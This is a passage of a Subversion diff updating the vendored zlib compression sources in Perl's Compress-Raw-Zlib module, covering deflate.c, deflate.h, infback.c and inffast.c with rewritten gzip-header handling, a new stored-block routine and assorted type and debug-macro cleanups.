+            put_byte(s, (s->gzhead->text ? 1 : 0) +
+                     (s->gzhead->hcrc ? 2 : 0) +
+                     (s->gzhead->extra == Z_NULL ? 0 : 4) +
+                     (s->gzhead->name == Z_NULL ? 0 : 8) +
+                     (s->gzhead->comment == Z_NULL ? 0 : 16)
+                     );
+            put_byte(s, (Byte)(s->gzhead->time & 0xff));
+            put_byte(s, (Byte)((s->gzhead->time >> 8) & 0xff));
+            put_byte(s, (Byte)((s->gzhead->time >> 16) & 0xff));
+            put_byte(s, (Byte)((s->gzhead->time >> 24) & 0xff));
+            put_byte(s, s->level == 9 ? 2 :
+                     (s->strategy >= Z_HUFFMAN_ONLY || s->level < 2 ?
+                      4 : 0));
+            put_byte(s, s->gzhead->os & 0xff);
+            if (s->gzhead->extra != Z_NULL) {
+                put_byte(s, s->gzhead->extra_len & 0xff);
+                put_byte(s, (s->gzhead->extra_len >> 8) & 0xff);
+            }
+            if (s->gzhead->hcrc)
+                strm->adler = crc32(strm->adler, s->pending_buf,
+                                    s->pending);
+            s->gzindex = 0;
+            s->status = EXTRA_STATE;
+        }
     }
-#ifdef GZIP
     if (s->status == EXTRA_STATE) {
         if (s->gzhead->extra != Z_NULL) {
-            uInt beg = s->pending;  /* start of bytes to update crc */
-
-            while (s->gzindex < (s->gzhead->extra_len & 0xffff)) {
-                if (s->pending == s->pending_buf_size) {
-                    if (s->gzhead->hcrc && s->pending > beg)
-                        strm->adler = crc32(strm->adler, s->pending_buf + beg,
-                                            s->pending - beg);
-                    flush_pending(strm);
-                    beg = s->pending;
-                    if (s->pending == s->pending_buf_size)
-                        break;
+            ulg beg = s->pending;   /* start of bytes to update crc */
+            uInt left = (s->gzhead->extra_len & 0xffff) - s->gzindex;
+            while (s->pending + left > s->pending_buf_size) {
+                uInt copy = s->pending_buf_size - s->pending;
+                zmemcpy(s->pending_buf + s->pending,
+                        s->gzhead->extra + s->gzindex, copy);
+                s->pending = s->pending_buf_size;
+                HCRC_UPDATE(beg);
+                s->gzindex += copy;
+                flush_pending(strm);
+                if (s->pending != 0) {
+                    s->last_flush = -1;
+                    return Z_OK;
                 }
-                put_byte(s, s->gzhead->extra[s->gzindex]);
-                s->gzindex++;
+                beg = 0;
+                left -= copy;
             }
-            if (s->gzhead->hcrc && s->pending > beg)
-                strm->adler = crc32(strm->adler, s->pending_buf + beg,
-                                    s->pending - beg);
-            if (s->gzindex == s->gzhead->extra_len) {
-                s->gzindex = 0;
-                s->status = NAME_STATE;
-            }
+            zmemcpy(s->pending_buf + s->pending,
+                    s->gzhead->extra + s->gzindex, left);
+            s->pending += left;
+            HCRC_UPDATE(beg);
+            s->gzindex = 0;
         }
-        else
-            s->status = NAME_STATE;
+        s->status = NAME_STATE;
     }
     if (s->status == NAME_STATE) {
         if (s->gzhead->name != Z_NULL) {
-            uInt beg = s->pending;  /* start of bytes to update crc */
+            ulg beg = s->pending;   /* start of bytes to update crc */
             int val;
-
             do {
                 if (s->pending == s->pending_buf_size) {
-                    if (s->gzhead->hcrc && s->pending > beg)
-                        strm->adler = crc32(strm->adler, s->pending_buf + beg,
-                                            s->pending - beg);
+                    HCRC_UPDATE(beg);
                     flush_pending(strm);
-                    beg = s->pending;
-                    if (s->pending == s->pending_buf_size) {
-                        val = 1;
-                        break;
+                    if (s->pending != 0) {
+                        s->last_flush = -1;
+                        return Z_OK;
                     }
+                    beg = 0;
                 }
                 val = s->gzhead->name[s->gzindex++];
                 put_byte(s, val);
             } while (val != 0);
-            if (s->gzhead->hcrc && s->pending > beg)
-                strm->adler = crc32(strm->adler, s->pending_buf + beg,
-                                    s->pending - beg);
-            if (val == 0) {
-                s->gzindex = 0;
-                s->status = COMMENT_STATE;
-            }
+            HCRC_UPDATE(beg);
+            s->gzindex = 0;
         }
-        else
-            s->status = COMMENT_STATE;
+        s->status = COMMENT_STATE;
     }
     if (s->status == COMMENT_STATE) {
         if (s->gzhead->comment != Z_NULL) {
-            uInt beg = s->pending;  /* start of bytes to update crc */
+            ulg beg = s->pending;   /* start of bytes to update crc */
             int val;
-
             do {
                 if (s->pending == s->pending_buf_size) {
-                    if (s->gzhead->hcrc && s->pending > beg)
-                        strm->adler = crc32(strm->adler, s->pending_buf + beg,
-                                            s->pending - beg);
+                    HCRC_UPDATE(beg);
                     flush_pending(strm);
-                    beg = s->pending;
-                    if (s->pending == s->pending_buf_size) {
-                        val = 1;
-                        break;
+                    if (s->pending != 0) {
+                        s->last_flush = -1;
+                        return Z_OK;
                     }
+                    beg = 0;
                 }
                 val = s->gzhead->comment[s->gzindex++];
                 put_byte(s, val);
             } while (val != 0);
-            if (s->gzhead->hcrc && s->pending > beg)
-                strm->adler = crc32(strm->adler, s->pending_buf + beg,
-                                    s->pending - beg);
-            if (val == 0)
-                s->status = HCRC_STATE;
+            HCRC_UPDATE(beg);
         }
-        else
-            s->status = HCRC_STATE;
+        s->status = HCRC_STATE;
     }
     if (s->status == HCRC_STATE) {
         if (s->gzhead->hcrc) {
-            if (s->pending + 2 > s->pending_buf_size)
+            if (s->pending + 2 > s->pending_buf_size) {
                 flush_pending(strm);
-            if (s->pending + 2 <= s->pending_buf_size) {
-                put_byte(s, (Byte)(strm->adler & 0xff));
-                put_byte(s, (Byte)((strm->adler >> 8) & 0xff));
-                strm->adler = crc32(0L, Z_NULL, 0);
-                s->status = BUSY_STATE;
+                if (s->pending != 0) {
+                    s->last_flush = -1;
+                    return Z_OK;
+                }
             }
+            put_byte(s, (Byte)(strm->adler & 0xff));
+            put_byte(s, (Byte)((strm->adler >> 8) & 0xff));
+            strm->adler = crc32(0L, Z_NULL, 0);
         }
-        else
-            s->status = BUSY_STATE;
-    }
-#endif
+        s->status = BUSY_STATE;
 
-    /* Flush as much pending output as possible */
-    if (s->pending != 0) {
+        /* Compression must start with an empty pending buffer */
         flush_pending(strm);
-        if (strm->avail_out == 0) {
-            /* Since avail_out is 0, deflate will be called again with
-             * more output space, but possibly with both pending and
-             * avail_in equal to zero. There won't be anything to do,
-             * but this is not an error situation so make sure we
-             * return OK instead of BUF_ERROR at next call of deflate:
-             */
+        if (s->pending != 0) {
             s->last_flush = -1;
             return Z_OK;
         }
-
-    /* Make sure there is something to do and avoid duplicate consecutive
-     * flushes. For repeated and useless calls with Z_FINISH, we keep
-     * returning Z_STREAM_END instead of Z_BUF_ERROR.
-     */
-    } else if (strm->avail_in == 0 && RANK(flush) <= RANK(old_flush) &&
-               flush != Z_FINISH) {
-        ERR_RETURN(strm, Z_BUF_ERROR);
     }
+#endif
 
-    /* User must not provide more input after the first FINISH: */
-    if (s->status == FINISH_STATE && strm->avail_in != 0) {
-        ERR_RETURN(strm, Z_BUF_ERROR);
-    }
-
     /* Start a new block or continue the current one.
      */
     if (strm->avail_in != 0 || s->lookahead != 0 ||
@@ -899,9 +996,10 @@
         (flush != Z_NO_FLUSH && s->status != FINISH_STATE)) {
         block_state bstate;
 
-        bstate = s->strategy == Z_HUFFMAN_ONLY ? deflate_huff(s, flush) :
-                    (s->strategy == Z_RLE ? deflate_rle(s, flush) :
-                        (*(configuration_table[s->level].func))(s, flush));
+        bstate = s->level == 0 ? deflate_stored(s, flush) :
+                 s->strategy == Z_HUFFMAN_ONLY ? deflate_huff(s, flush) :
+                 s->strategy == Z_RLE ? deflate_rle(s, flush) :
+                 (*(configuration_table[s->level].func))(s, flush);
 
         if (bstate == finish_started || bstate == finish_done) {
             s->status = FINISH_STATE;
@@ -943,7 +1041,6 @@
             }
         }
     }
-    Assert(strm->avail_out > 0, "bug2");
 
     if (flush != Z_FINISH) return Z_OK;
     if (s->wrap <= 0) return Z_STREAM_END;
@@ -980,18 +1077,9 @@
 {
     int status;
 
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
+    if (deflateStateCheck(strm)) return Z_STREAM_ERROR;
 
     status = strm->state->status;
-    if (status != INIT_STATE &&
-        status != EXTRA_STATE &&
-        status != NAME_STATE &&
-        status != COMMENT_STATE &&
-        status != HCRC_STATE &&
-        status != BUSY_STATE &&
-        status != FINISH_STATE) {
-      return Z_STREAM_ERROR;
-    }
 
     /* Deallocate in reverse order of allocations: */
     TRY_FREE(strm, strm->state->pending_buf);
@@ -1022,7 +1110,7 @@
     ushf *overlay;
 
 
-    if (source == Z_NULL || dest == Z_NULL || source->state == Z_NULL) {
+    if (deflateStateCheck(source) || dest == Z_NULL) {
         return Z_STREAM_ERROR;
     }
 
@@ -1072,7 +1160,7 @@
  * allocating a large strm->next_in buffer and copying from it.
  * (See also flush_pending()).
  */
-local int read_buf(
+local unsigned read_buf(
     z_streamp strm,
     Bytef *buf,
     unsigned size)
@@ -1096,7 +1184,7 @@
     strm->next_in  += len;
     strm->total_in += len;
 
-    return (int)len;
+    return len;
 }
 
 /* ===========================================================================
@@ -1150,9 +1238,9 @@
 {
     unsigned chain_length = s->max_chain_length;/* max hash chain length */
     register Bytef *scan = s->window + s->strstart; /* current string */
-    register Bytef *match;                       /* matched string */
+    register Bytef *match;                      /* matched string */
     register int len;                           /* length of current match */
-    int best_len = s->prev_length;              /* best match length so far */
+    int best_len = (int)s->prev_length;         /* best match length so far */
     int nice_match = s->nice_match;             /* stop if match long enough */
     IPos limit = s->strstart > (IPos)MAX_DIST(s) ?
         s->strstart - (IPos)MAX_DIST(s) : NIL;
@@ -1187,7 +1275,7 @@
     /* Do not look for matches beyond the end of the input. This is necessary
      * to make deflate deterministic.
      */
-    if ((uInt)nice_match > s->lookahead) nice_match = s->lookahead;
+    if ((uInt)nice_match > s->lookahead) nice_match = (int)s->lookahead;
 
     Assert((ulg)s->strstart <= s->window_size-MIN_LOOKAHEAD, "need lookahead");
 
@@ -1348,7 +1436,11 @@
 
 #endif /* FASTEST */
 
-#ifdef DEBUG
+#ifdef ZLIB_DEBUG
+
+#define EQUAL 0
+/* result of memcmp for equal strings */
+
 /* ===========================================================================
  * Check that the match at match_start is indeed a match.
  */
@@ -1375,7 +1467,7 @@
 }
 #else
 #  define check_match(s, start, match, length)
-#endif /* DEBUG */
+#endif /* ZLIB_DEBUG */
 
 /* ===========================================================================
  * Fill the window when the lookahead becomes insufficient.
@@ -1390,8 +1482,7 @@
 local void fill_window(
     deflate_state *s)
 {
-    register unsigned n, m;
-    register Posf *p;
+    unsigned n;
     unsigned more;    /* Amount of free space at the end of the window. */
     uInt wsize = s->w_size;
 
@@ -1418,35 +1509,11 @@
          */
         if (s->strstart >= wsize+MAX_DIST(s)) {
 
-            zmemcpy(s->window, s->window+wsize, (unsigned)wsize);
+            zmemcpy(s->window, s->window+wsize, (unsigned)wsize - more);
             s->match_start -= wsize;
             s->strstart    -= wsize; /* we now have strstart >= MAX_DIST */
             s->block_start -= (long) wsize;
-
-            /* Slide the hash table (could be avoided with 32 bit values
-               at the expense of memory usage). We slide even when level == 0
-               to keep the hash table consistent if we switch back to level > 0
-               later. (Using level 0 permanently is not an optimal usage of
-               zlib, so we don't care about this pathological case.)
-             */
-            n = s->hash_size;
-            p = &s->head[n];
-            do {
-                m = *--p;
-                *p = (Pos)(m >= wsize ? m-wsize : NIL);
-            } while (--n);
-
-            n = wsize;
-#ifndef FASTEST
-            p = &s->prev[n];
-            do {
-                m = *--p;
-                *p = (Pos)(m >= wsize ? m-wsize : NIL);
-                /* If n is not on any hash chain, prev[n] is garbage but
-                 * its value will never be used.
-                 */
-            } while (--n);
-#endif
+            slide_hash(s);
             more += wsize;
         }
         if (s->strm->avail_in == 0) break;
@@ -1552,70 +1619,199 @@
    if (s->strm->avail_out == 0) return (last) ? finish_started : need_more; \
 }
 
+/* Maximum stored block length in deflate format (not including header). */
+#define MAX_STORED 65535
+
+/* Minimum of a and b. */
+#define MIN(a, b) ((a) > (b) ? (b) : (a))
+
 /* ===========================================================================
  * Copy without compression as much as possible from the input stream, return
  * the current block state.
- * This function does not insert new strings in the dictionary since
- * uncompressible data is probably not useful. This function is used
- * only for the level=0 compression option.
- * NOTE: this function should be optimized to avoid extra copying from
- * window to pending_buf.
+ *
+ * In case deflateParams() is used to later switch to a non-zero compression
+ * level, s->matches (otherwise unused when storing) keeps track of the number
+ * of hash table slides to perform. If s->matches is 1, then one hash table
+ * slide will be done when switching. If s->matches is 2, the maximum value
+ * allowed here, then the hash table will be cleared, since two or more slides
+ * is the same as a clear.
+ *
+ * deflate_stored() is written to minimize the number of times an input byte is
+ * copied. It is most efficient with large input and output buffers, which
+ * maximizes the opportunites to have a single copy from next_in to next_out.
  */
 local block_state deflate_stored(
     deflate_state *s,
     int flush)
 {
-    /* Stored blocks are limited to 0xffff bytes, pending_buf is limited
-     * to pending_buf_size, and each stored block has a 5 byte header:
+    /* Smallest worthy block size when not flushing or finishing. By default
+     * this is 32K. This can be as small as 507 bytes for memLevel == 1. For
+     * large input and output buffers, the stored block size will be larger.
      */
-    ulg max_block_size = 0xffff;
-    ulg max_start;
+    unsigned min_block = MIN(s->pending_buf_size - 5, s->w_size);
 
-    if (max_block_size > s->pending_buf_size - 5) {
-        max_block_size = s->pending_buf_size - 5;
-    }
+    /* Copy as many min_block or larger stored blocks directly to next_out as
+     * possible. If flushing, copy the remaining available input to next_out as
+     * stored blocks, if there is enough space.
+     */
+    unsigned len, left, have, last = 0;
+    unsigned used = s->strm->avail_in;
+    do {
+        /* Set len to the maximum size block that we can copy directly with the
+         * available input data and output space. Set left to how much of that
+         * would be copied from what's left in the window.
+         */
+        len = MAX_STORED;       /* maximum deflate stored block length */
+        have = (s->bi_valid + 42) >> 3;         /* number of header bytes */
+        if (s->strm->avail_out < have)          /* need room for header */
+            break;
+            /* maximum stored block length that will fit in avail_out: */
+        have = s->strm->avail_out - have;
+        left = s->strstart - s->block_start;    /* bytes left in window */
+        if (len > (ulg)left + s->strm->avail_in)
+            len = left + s->strm->avail_in;     /* limit len to the input */
+        if (len > have)
+            len = have;                         /* limit len to the output */
 
-    /* Copy as much as possible from input to output: */
-    for (;;) {
-        /* Fill the window as much as possible: */
-        if (s->lookahead <= 1) {
+        /* If the stored block would be less than min_block in length, or if
+         * unable to copy all of the available input when flushing, then try
+         * copying to the window and the pending buffer instead. Also don't
+         * write an empty block when flushing -- deflate() does that.
+         */
+        if (len < min_block && ((len == 0 && flush != Z_FINISH) ||
+                                flush == Z_NO_FLUSH ||
+                                len != left + s->strm->avail_in))
+            break;
 
-            Assert(s->strstart < s->w_size+MAX_DIST(s) ||
-                   s->block_start >= (long)s->w_size, "slide too late");
+        /* Make a dummy stored block in pending to get the header bytes,
+         * including any pending bits. This also updates the debugging counts.
+         */
+        last = flush == Z_FINISH && len == left + s->strm->avail_in ? 1 : 0;
+        _tr_stored_block(s, (char *)0, 0L, last);
 
-            fill_window(s);
-            if (s->lookahead == 0 && flush == Z_NO_FLUSH) return need_more;
+        /* Replace the lengths in the dummy stored block with len. */
+        s->pending_buf[s->pending - 4] = len;
+        s->pending_buf[s->pending - 3] = len >> 8;
+        s->pending_buf[s->pending - 2] = ~len;
+        s->pending_buf[s->pending - 1] = ~len >> 8;
 
-            if (s->lookahead == 0) break; /* flush the current block */
-        }
-        Assert(s->block_start >= 0L, "block gone");
+        /* Write the stored block header bytes. */
+        flush_pending(s->strm);
 
-        s->strstart += s->lookahead;
-        s->lookahead = 0;
+#ifdef ZLIB_DEBUG
+        /* Update debugging counts for the data about to be copied. */
+        s->compressed_len += len << 3;
+        s->bits_sent += len << 3;
+#endif
 
-        /* Emit a stored block if pending_buf will be full: */
-        max_start = s->block_start + max_block_size;
-        if (s->strstart == 0 || (ulg)s->strstart >= max_start) {
-            /* strstart == 0 is possible when wraparound on 16-bit machine */
-            s->lookahead = (uInt)(s->strstart - max_start);
-            s->strstart = (uInt)max_start;
-            FLUSH_BLOCK(s, 0);
+        /* Copy uncompressed bytes from the window to next_out. */
+        if (left) {
+            if (left > len)
+                left = len;
+            zmemcpy(s->strm->next_out, s->window + s->block_start, left);
+            s->strm->next_out += left;
+            s->strm->avail_out -= left;
+            s->strm->total_out += left;
+            s->block_start += left;
+            len -= left;
         }
-        /* Flush if we may have to slide, otherwise block_start may become
-         * negative and the data will be gone:
+
+        /* Copy uncompressed bytes directly from next_in to next_out, updating
+         * the check value.
          */
-        if (s->strstart - (uInt)s->block_start >= MAX_DIST(s)) {
-            FLUSH_BLOCK(s, 0);
+        if (len) {
+            read_buf(s->strm, s->strm->next_out, len);
+            s->strm->next_out += len;
+            s->strm->avail_out -= len;
+            s->strm->total_out += len;
         }
+    } while (last == 0);
+
+    /* Update the sliding window with the last s->w_size bytes of the copied
+     * data, or append all of the copied data to the existing window if less
+     * than s->w_size bytes were copied. Also update the number of bytes to
+     * insert in the hash tables, in the event that deflateParams() switches to
+     * a non-zero compression level.
+     */
+    used -= s->strm->avail_in;      /* number of input bytes directly copied */
+    if (used) {
+        /* If any input was used, then no unused input remains in the window,
+         * therefore s->block_start == s->strstart.
+         */
+        if (used >= s->w_size) {    /* supplant the previous history */
+            s->matches = 2;         /* clear hash */
+            zmemcpy(s->window, s->strm->next_in - s->w_size, s->w_size);
+            s->strstart = s->w_size;
+        }
+        else {
+            if (s->window_size - s->strstart <= used) {
+                /* Slide the window down. */
+                s->strstart -= s->w_size;
+                zmemcpy(s->window, s->window + s->w_size, s->strstart);
+                if (s->matches < 2)
+                    s->matches++;   /* add a pending slide_hash() */
+            }
+            zmemcpy(s->window + s->strstart, s->strm->next_in - used, used);
+            s->strstart += used;
+        }
+        s->block_start = s->strstart;
+        s->insert += MIN(used, s->w_size - s->insert);
     }
-    s->insert = 0;
-    if (flush == Z_FINISH) {
-        FLUSH_BLOCK(s, 1);
+    if (s->high_water < s->strstart)
+        s->high_water = s->strstart;
+
+    /* If the last block was written to next_out, then done. */
+    if (last)
         return finish_done;
+
+    /* If flushing and all input has been consumed, then done. */
+    if (flush != Z_NO_FLUSH && flush != Z_FINISH &&
+        s->strm->avail_in == 0 && (long)s->strstart == s->block_start)
+        return block_done;
+
+    /* Fill the window with any remaining input. */
+    have = s->window_size - s->strstart - 1;
+    if (s->strm->avail_in > have && s->block_start >= (long)s->w_size) {
+        /* Slide the window down. */
+        s->block_start -= s->w_size;
+        s->strstart -= s->w_size;
+        zmemcpy(s->window, s->window + s->w_size, s->strstart);
+        if (s->matches < 2)
+            s->matches++;           /* add a pending slide_hash() */
+        have += s->w_size;          /* more space now */
     }
-    if ((long)s->strstart > s->block_start)
-        FLUSH_BLOCK(s, 0);
-    return block_done;
+    if (have > s->strm->avail_in)
+        have = s->strm->avail_in;
+    if (have) {
+        read_buf(s->strm, s->window + s->strstart, have);
+        s->strstart += have;
+    }
+    if (s->high_water < s->strstart)
+        s->high_water = s->strstart;
+
+    /* There was not enough avail_out to write a complete worthy or flushed
+     * stored block to next_out. Write a stored block to pending instead, if we
+     * have enough input for a worthy block, or if flushing and there is enough
+     * room for the remaining input as a stored block in the pending buffer.
+     */
+    have = (s->bi_valid + 42) >> 3;         /* number of header bytes */
+        /* maximum stored block length that will fit in pending: */
+    have = MIN(s->pending_buf_size - have, MAX_STORED);
+    min_block = MIN(have, s->w_size);
+    left = s->strstart - s->block_start;
+    if (left >= min_block ||
+        ((left || flush == Z_FINISH) && flush != Z_NO_FLUSH &&
+         s->strm->avail_in == 0 && left <= have)) {
+        len = MIN(left, have);
+        last = flush == Z_FINISH && s->strm->avail_in == 0 &&
+               len == left ? 1 : 0;
+        _tr_stored_block(s, (charf *)s->window + s->block_start, len, last);
+        s->block_start += len;
+        flush_pending(s->strm);
+    }
+
+    /* We've done all we can with the available input and output. */
+    return last ? finish_started : need_more;
 }
 
 /* ===========================================================================
@@ -1892,7 +2088,7 @@
                          prev == *++scan && prev == *++scan &&
                          prev == *++scan && prev == *++scan &&
                          scan < strend);
-                s->match_length = MAX_MATCH - (int)(strend - scan);
+                s->match_length = MAX_MATCH - (uInt)(strend - scan);
                 if (s->match_length > s->lookahead)
                     s->match_length = s->lookahead;
             }

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/deflate.h
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/deflate.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/deflate.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /* deflate.h -- internal compression state
- * Copyright (C) 1995-2012 Jean-loup Gailly
+ * Copyright (C) 1995-2016 Jean-loup Gailly
  * For conditions of distribution and use, see copyright notice in zlib.h
  */
 
@@ -51,13 +51,16 @@
 #define Buf_size 16
 /* size of bit buffer in bi_buf */
 
-#define INIT_STATE    42
-#define EXTRA_STATE   69
-#define NAME_STATE    73
-#define COMMENT_STATE 91
-#define HCRC_STATE   103
-#define BUSY_STATE   113
-#define FINISH_STATE 666
+#define INIT_STATE    42    /* zlib header -> BUSY_STATE */
+#ifdef GZIP
+#  define GZIP_STATE  57    /* gzip header -> BUSY_STATE | EXTRA_STATE */
+#endif
+#define EXTRA_STATE   69    /* gzip extra block -> NAME_STATE */
+#define NAME_STATE    73    /* gzip file name -> COMMENT_STATE */
+#define COMMENT_STATE 91    /* gzip comment -> HCRC_STATE */
+#define HCRC_STATE   103    /* gzip header CRC -> BUSY_STATE */
+#define BUSY_STATE   113    /* deflate -> FINISH_STATE */
+#define FINISH_STATE 666    /* stream complete */
 /* Stream status */
 
 
@@ -83,7 +86,7 @@
 typedef struct tree_desc_s {
     ct_data *dyn_tree;           /* the dynamic tree */
     int     max_code;            /* largest code with non zero frequency */
-    const static_tree_desc *stat_desc; /* the corresponding static tree */
+    const static_tree_desc *stat_desc;  /* the corresponding static tree */
 } FAR tree_desc;
 
 typedef ush Pos;
@@ -100,10 +103,10 @@
     Bytef *pending_buf;  /* output still pending */
     ulg   pending_buf_size; /* size of pending_buf */
     Bytef *pending_out;  /* next pending byte to output to the stream */
-    uInt   pending;      /* nb of bytes in the pending buffer */
+    ulg   pending;       /* nb of bytes in the pending buffer */
     int   wrap;          /* bit 0 true for zlib, bit 1 true for gzip */
     gz_headerp  gzhead;  /* gzip header information to write */
-    uInt   gzindex;      /* where in extra, name, or comment */
+    ulg   gzindex;       /* where in extra, name, or comment */
     Byte  method;        /* can only be DEFLATED */
     int   last_flush;    /* value of flush param for previous deflate call */
 
@@ -249,7 +252,7 @@
     uInt matches;       /* number of string matches in current block */
     uInt insert;        /* bytes at end of window left to insert */
 
-#ifdef DEBUG
+#ifdef ZLIB_DEBUG
     ulg compressed_len; /* total bit length of compressed file mod 2^32 */
     ulg bits_sent;      /* bit length of compressed data sent mod 2^32 */
 #endif
@@ -275,7 +278,7 @@
 /* Output a byte on the stream.
  * IN assertion: there is enough room in pending_buf.
  */
-#define put_byte(s, c) {s->pending_buf[s->pending++] = (c);}
+#define put_byte(s, c) {s->pending_buf[s->pending++] = (Bytef)(c);}
 
 
 #define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1)
@@ -309,7 +312,7 @@
  * used.
  */
 
-#ifndef DEBUG
+#ifndef ZLIB_DEBUG
 /* Inline versions of _tr_tally for speed: */
 
 #if defined(GEN_TREES_H) || !defined(STDC)
@@ -328,8 +331,8 @@
     flush = (s->last_lit == s->lit_bufsize-1); \
    }
 # define _tr_tally_dist(s, distance, length, flush) \
-  { uch len = (length); \
-    ush dist = (distance); \
+  { uch len = (uch)(length); \
+    ush dist = (ush)(distance); \
     s->d_buf[s->last_lit] = dist; \
     s->l_buf[s->last_lit++] = len; \
     dist--; \

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/infback.c
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/infback.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/infback.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /* infback.c -- inflate using a call-back interface
- * Copyright (C) 1995-2011 Mark Adler
+ * Copyright (C) 1995-2016 Mark Adler
  * For conditions of distribution and use, see copyright notice in zlib.h
  */
 
@@ -61,7 +61,7 @@
     Tracev((stderr, "inflate: allocated\n"));
     strm->state = (struct internal_state FAR *)state;
     state->dmax = 32768U;
-    state->wbits = windowBits;
+    state->wbits = (uInt)windowBits;
     state->wsize = 1U << windowBits;
     state->window = window;
     state->wnext = 0;
@@ -477,6 +477,7 @@
             }
             Tracev((stderr, "inflate:       codes ok\n"));
             state->mode = LEN;
+            /* FALLTHROUGH */
 
         case LEN:
             /* use inflate_fast() if we have enough input and output */

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inffast.c
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inffast.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inffast.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /* inffast.c -- fast decoding
- * Copyright (C) 1995-2008, 2010, 2013 Mark Adler
+ * Copyright (C) 1995-2017 Mark Adler
  * For conditions of distribution and use, see copyright notice in zlib.h
  */
 
@@ -8,26 +8,9 @@
 #include "inflate.h"
 #include "inffast.h"
 
-#ifndef ASMINF
-
-/* Allow machine dependent optimization for post-increment or pre-increment.
-   Based on testing to date,
-   Pre-increment preferred for:
-   - PowerPC G3 (Adler)
-   - MIPS R5000 (Randers-Pehrson)
-   Post-increment preferred for:
-   - none
-   No measurable difference:
-   - Pentium III (Anderson)
-   - M68060 (Nikl)
- */
-#ifdef POSTINC
-#  define OFF 0
-#  define PUP(a) *(a)++
+#ifdef ASMINF
+#  pragma message("Assembler code may have bugs -- use at your own risk")
 #else
-#  define OFF 1
-#  define PUP(a) *++(a)
-#endif
 
 /*
    Decode literal, length, and distance codes and write out the resulting
@@ -96,9 +79,9 @@
 
     /* copy state to local variables */
     state = (struct inflate_state FAR *)strm->state;
-    in = strm->next_in - OFF;
+    in = strm->next_in;
     last = in + (strm->avail_in - 5);
-    out = strm->next_out - OFF;
+    out = strm->next_out;
     beg = out - (start - strm->avail_out);
     end = out + (strm->avail_out - 257);
 #ifdef INFLATE_STRICT
@@ -119,9 +102,9 @@
        input data or output space */
     do {
         if (bits < 15) {
-            hold += (unsigned long)(PUP(in)) << bits;
+            hold += (unsigned long)(*in++) << bits;
             bits += 8;
-            hold += (unsigned long)(PUP(in)) << bits;
+            hold += (unsigned long)(*in++) << bits;
             bits += 8;
         }
         here = lcode[hold & lmask];
@@ -134,7 +117,7 @@
             Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ?
                     "inflate:         literal '%c'\n" :
                     "inflate:         literal 0x%02x\n", here.val));
-            PUP(out) = (unsigned char)(here.val);
+            *out++ = (unsigned char)(here.val);
         }
         else if (op & 16) {                     /* length base */
             len = (unsigned)(here.val);
@@ -141,7 +124,7 @@
             op &= 15;                           /* number of extra bits */
             if (op) {
                 if (bits < op) {
-                    hold += (unsigned long)(PUP(in)) << bits;
+                    hold += (unsigned long)(*in++) << bits;
                     bits += 8;
                 }
                 len += (unsigned)hold & ((1U << op) - 1);
@@ -150,9 +133,9 @@
             }
             Tracevv((stderr, "inflate:         length %u\n", len));
             if (bits < 15) {
-                hold += (unsigned long)(PUP(in)) << bits;
+                hold += (unsigned long)(*in++) << bits;
                 bits += 8;
-                hold += (unsigned long)(PUP(in)) << bits;
+                hold += (unsigned long)(*in++) << bits;
                 bits += 8;
             }
             here = dcode[hold & dmask];
@@ -165,10 +148,10 @@
                 dist = (unsigned)(here.val);
                 op &= 15;                       /* number of extra bits */
                 if (bits < op) {
-                    hold += (unsigned long)(PUP(in)) << bits;
+                    hold += (unsigned long)(*in++) << bits;
                     bits += 8;
                     if (bits < op) {
-                        hold += (unsigned long)(PUP(in)) << bits;
+                        hold += (unsigned long)(*in++) << bits;
                         bits += 8;
                     }
                 }
@@ -196,30 +179,30 @@
 #ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR
                         if (len <= op - whave) {
                             do {
-                                PUP(out) = 0;
+                                *out++ = 0;
                             } while (--len);
                             continue;
                         }
                         len -= op - whave;
                         do {
-                            PUP(out) = 0;
+                            *out++ = 0;
                         } while (--op > whave);
                         if (op == 0) {
                             from = out - dist;
                             do {
-                                PUP(out) = PUP(from);
+                                *out++ = *from++;
                             } while (--len);
                             continue;
                         }
 #endif
                     }
-                    from = window - OFF;
+                    from = window;
                     if (wnext == 0) {           /* very common case */
                         from += wsize - op;
                         if (op < len) {         /* some from window */
                             len -= op;
                             do {
-                                PUP(out) = PUP(from);
+                                *out++ = *from++;
                             } while (--op);
                             from = out - dist;  /* rest from output */
                         }
@@ -230,14 +213,14 @@
                         if (op < len) {         /* some from end of window */
                             len -= op;
                             do {
-                                PUP(out) = PUP(from);
+                                *out++ = *from++;
                             } while (--op);
-                            from = window - OFF;
+                            from = window;
                             if (wnext < len) {  /* some from start of window */
                                 op = wnext;
                                 len -= op;
                                 do {
-                                    PUP(out) = PUP(from);
+                                    *out++ = *from++;
                                 } while (--op);
                                 from = out - dist;      /* rest from output */
                             }
@@ -248,35 +231,35 @@
                         if (op < len) {         /* some from window */
                             len -= op;
                             do {
-                                PUP(out) = PUP(from);
+                                *out++ = *from++;
                             } while (--op);
                             from = out - dist;  /* rest from output */
                         }
                     }
                     while (len > 2) {
-                        PUP(out) = PUP(from);
-                        PUP(out) = PUP(from);
-                        PUP(out) = PUP(from);
+                        *out++ = *from++;
+                        *out++ = *from++;
+                        *out++ = *from++;
                         len -= 3;
                     }
                     if (len) {
-                        PUP(out) = PUP(from);
+                        *out++ = *from++;
                         if (len > 1)
-                            PUP(out) = PUP(from);
+                            *out++ = *from++;
                     }
                 }
                 else {
